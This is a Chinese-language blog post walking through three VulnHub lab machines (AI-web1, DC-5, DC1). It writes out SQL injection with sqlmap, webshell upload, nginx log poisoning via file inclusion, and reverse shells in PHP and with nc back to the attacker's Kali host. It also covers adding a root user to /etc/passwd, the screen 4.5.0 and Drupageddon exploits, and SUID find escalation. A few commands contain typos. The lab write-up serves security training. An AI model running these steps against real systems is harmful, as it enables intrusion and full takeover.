vulnhub

本文最后更新于:2 年前

AI-web1

搭建环境

只要使靶机与kali处于同一网段即可

网络嗅探

在kali中使用

netdiscover  # 可以探测出与kali处于同一网段中存活的主机

image-20220929233618239

由图中的信息可以看到靶机的ip地址为192.168.152.133

端口扫描

使用nmap扫描指定的ip

nmap -sS -sV -A -n 192.168.152.133

image-20220929233830903

扫描结果显示靶机的80端口开放,并且探测到url,使用的中间件为apache

访问 m3diNf0//se3reTdir777/uploads/,没有有用信息,继续扫描路径

dirb http://192.168.152.133/m3diNf0/
dirb http://192.168.152.133/se3reTdir777/uploads/
dirb http://192.168.152.133/se3reTdir777/

image-20220929234638450

image-20220929234645788

扫描两个可访问的的url,在浏览器中打开,info.php中是phpinfo的信息,其中有一个信息很有用就是,网站的根目录

image-20220929234927206

http://192.168.152.133/se3reTdir777/index.php,是一个用户查询的接口,很明显像是sql注入,直接用sqlmap扫

sqlmap -u "http://192.168.152.133/se3reTdir777/" -data "uid=1&Operation=Submit"
sqlmap -u "http://192.168.152.133/se3reTdir777/" -data "uid=1&Operation=Submit" --dbs
sqlmap -u "http://192.168.152.133/se3reTdir777/" -data "uid=1&Operation=Submit" -D aiweb1 --tables
sqlmap -u "http://192.168.152.133/se3reTdir777/" -data "uid=1&Operation=Submit" -D aiweb1 -T user -columns

最后获得结果并没有什么用,但是可以尝试使用sqlmap获取shell权限

sqlmap -u "http://192.168.152.133/se3reTdir777/" -data "uid=1&Operation=Submit" --level=3 --os-shell

image-20220929235903463

能够获取shell权限,但是权限很低,只是www-data

文件上传

前文我们已经知道网站绝对路径,其实就就是可以尝试sqlmap的文件上传

将一句话木马上传到网站的根目录中

sqlmap -u "http://192.168.152.133/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./hack.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php

上传成功后使用工具连接即可

image-20220930000537720

此时已经获取到了网站的控制权,但是权限依然很低,因此需要进行提权

为了操作方便,需要先反弹shell

反弹shell

首先在kali中监听4444端口

nv -lvvp 4444

然后在网站中上传一个php文件

<?php
$sock=fsockopen("192.168.152.130",4444);
exec("/bin/bash -i <&3 >&3 2>&3");
?>

上传成功后,执行该文件

php web.php

即可获取shell

提权

首先在kali中使用openssl创建一个用户

openssl passwd -1 -salt hacker 123456

将该用户加入到root组中,既可拥有root权限(在反弹的shell中执行该命令)

hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash

将该用户的信息写入到/etc/passwd中,就想当于在靶机中创建了一个root用户权限的用户

ehco 'sun:$1$sun$DD5cShz08xZBESgMJhDRY.:0:0::/root:/bin/bash' >> /etc/passwd

切换用户

su hacker

image-20220930002110117

读取flag

image-20220929122622040

DC-5

环境搭建

运行虚拟机后,将kali与靶机配置到同一网卡下即可

kali的ip地址:192.168.56.101

网络嗅探

在kali中使用netdiscover发现当前网络中存活的主机

netdiscover -i eth0

探测到靶机的ip地址为:192.168.56.102

再使用nmap扫描开放的服务端口

nmap -sS -sV -A -n 192.168.56.102

image-20220930163714244

可以看到靶机的80端口是开启的,直接访问。

渗透

网页中存在一个留言板http://192.168.220.139/contact.php

提交留言信息会跳转到http://192.168.56.102/thankyou.php?firstname=1&lastname=1&country=australia&subject=1

此时再次刷新页面,会发现右下角的copyright会发生变化

image-20220930164227501

首先使用dirb 去探测网站中的所有url,但是效果不好只能探测到index.php

那么就用bp的intruder模块加载自己的字典进行路劲爆破,最后爆破结果如下

image-20220930172927445

这里的footer是网页源码中没有暴露的页面。

image-20220930173042421

由于footer.php的内容可以显示子再thankyou.php中,那么thankyou.php一定是包含了footer.php,那么下面的要找出thankyou.php包含文件的参数是什么

尝试

http://192.168.56.102/thankyou.php?page=footer.php
http://192.168.56.102/thankyou.php?file=footer.php

发现以上两个参数都可以正常访问

接下来就是尝试文件包含漏洞

文件包含

上面已经发现页面存在文件包含,很直观的想法就是看能否将/etc/passwd读取到

image-20220930232717029

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false Debian-exim:x:104:109::/var/spool/exim4:/bin/false messagebus:x:105:110::/var/run/dbus:/bin/false statd:x:106:65534::/var/lib/nfs:/bin/false sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin dc:x:1000:1000:dc,,,:/home/dc:/bin/bash mysql:x:108:113:MySQL Server,,,:/nonexistent:/bin/false

从http的响应头可以看到网站使用的中间件是nginx,那么可尝试获取去nginx的日志文件,默认绝对路径为/var/log/nginx/access.log

使用urlimage-20221001160016500

这里一定得要用bp,不然会由于浏览器的自动编码导致失效

image-20221001105755300

能够发现刚才的访问记录已经被写入到了日志文件中

image-20220930234744268

PHP中造成文件包含的四个函数

1、include() 、require()

当使用include()函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。

当使用require()函数包含文件时,只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行

2、include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。

require_once()功能和require()相同,区别在于当重复调用同一文件时,程序只调用一次。

当使用上述四个函数包含一个新文件时,该文件将作为 PHP 代码执行,php 内核并不在意该被包含的文件是什么类型。所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。

一句话木马上传成功后,就可以使用蚁剑连接了

http://192.168.56.102/thankyou.php?file=/var/log/nginx/access.log
密码:666

获取shell

再kali中监听4444端口

nc -lvvp 4444

再蚁剑的终端中执行

nc  -e  /bin/bash  192.168.56.101 4444

此时已经获取shell

image-20221001113341268

使用python的反弹shell

python -c 'import pty;pty.spawn("/bin/bash")'

提权

使用find命令,查找具有suid权限的命令,发现screen-4.5.0

find / -perm /4000 2 > /dev/null

image-20221001113542405

那么就可以查找可用于screen 4.5.0的漏洞脚本文件,再kali中查找

searchsploit screen 4.5.0

image-20221001113845331

将脚本拷贝到当前工作目录

cp /usr/share/exploitdb/exploits/linux/local/41154.sh  41154.sh

cp /usr/share/exploitdb/exploits/linux/local/41152.txt  41152.txt

尝试从蚁剑上传到网站的根目录,但是发现权限不够,最后再/tmp目录上传成功

image-20221001120350730

加上可执行权限即可

chmod +x 41154.sh

在kali中的shell执行

image-20221001120551421

获得flag

进入root目录即可获取到flag

image-20221001120217058

DC1

环境搭建

将靶机与kali放在同一网卡下实现相互通信即可

信息搜集

使用

arp-scan -l
netdiscover -eth0

发现目标靶机的ip地址为192.168.56.103

image-20221005124337784

直接方位该ip地址,发现是可访问的网站,但是需要密码无法进入

但是很明显可以看出此网站使用的CMS为Drupal,那么就寻找与该CMS存在的漏洞即可

image-20221005125020123

可以看到关于drupal 的漏洞有七个,但是我们需要选择最新的且等级为excellent的

漏洞利用

这里使用的是exploit/multi/http/drupal_drupageddon

use exploit/multi/http/drupal_drupageddon
set RHOSTS 192.168.56.103
set LHOST 192.168.56.101
run

image-20221005130958089

网站的根目录中存在一个flag1.txt,其中提示

Every good CMS needs a config file - and so do you.

那么就是找cms的配置文件,而drupal的默认配置文件位置 /var/www/sites/default/settings.php

查看此配置文件,可以看到mysql数据库的账号密码

image-20221005131437953

并且出现了flag2

翻译:蛮力和字典攻击不行,唯一方法是获得访问权限(你将需要访问的)。你能用这些凭证做什么?

交互式shell

在msfconsole中获取shell后使用执行下面这句话

python -c 'import pty; pty.spawn("/bin/bash")'
连接数据库

mysql -udbuser -p

image-20221005133337362

密码是加密后保存到数据库的。但是在/var/www/script中发现了将密码转换为hash的脚本,可以使用脚本生成自己的密码的hash然后保存到数据库中,可惜的是该标本的环境存在问题,无法运行

image-20221005134059498

百度以下drupal 密码相关的问题,发现有重置admin密码的方法

password的SHA-512加密运算的结果“$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4”;

那么就是在数据库中更新admin的密码即可

update users set pass = '$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name = 'admin';

登录后在网站中发现了flag3

image-20221005135247304

特殊的PERMS将帮助查找passwd -但您需要-exec该命令来找出如何获取阴影中的内容。

home/flag4中看到flag4

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

您可以使用相同的方法在根目录中查找或访问标志吗?

可能。但也许并没有那么容易。也许是这样?

使用CVE2014-3704添加管理账号

在exploit-db中有可以直接利用的EXP,可以直接添加管理账号
地址:https://www.exploit-db.com/exploits/34992

在kali中开启web服务,然后再靶机中下载该exp

python3 -m http.server 80

image-20221005142802768

靶机端下载
wget http://192.168.56.101/34992.py
靶机端运行
python 34992.py -t http://192.168.56.103/ -u hack -p root

image-20221005143232685

直接使用hack 登录

提权

使用find找下具有root权限的suid

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null  # 这句也可以

image-20221005135623191

可以发现find命令可以用来提权

尝试使用find执行命令

find / -name flag4 -exec "whoami" \; # 注意这里的-name 后的参数需要是存在的文件

image-20221005141313251

这里执行的结果可以看出find是可以提权的

获取flag

直接使用执行 /bin/sh

find / -name flag4 -exec "/bin/sh" \;

image-20221005141539383


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!

 目录

Copyright © 2020 my blog
载入天数... 载入时分秒...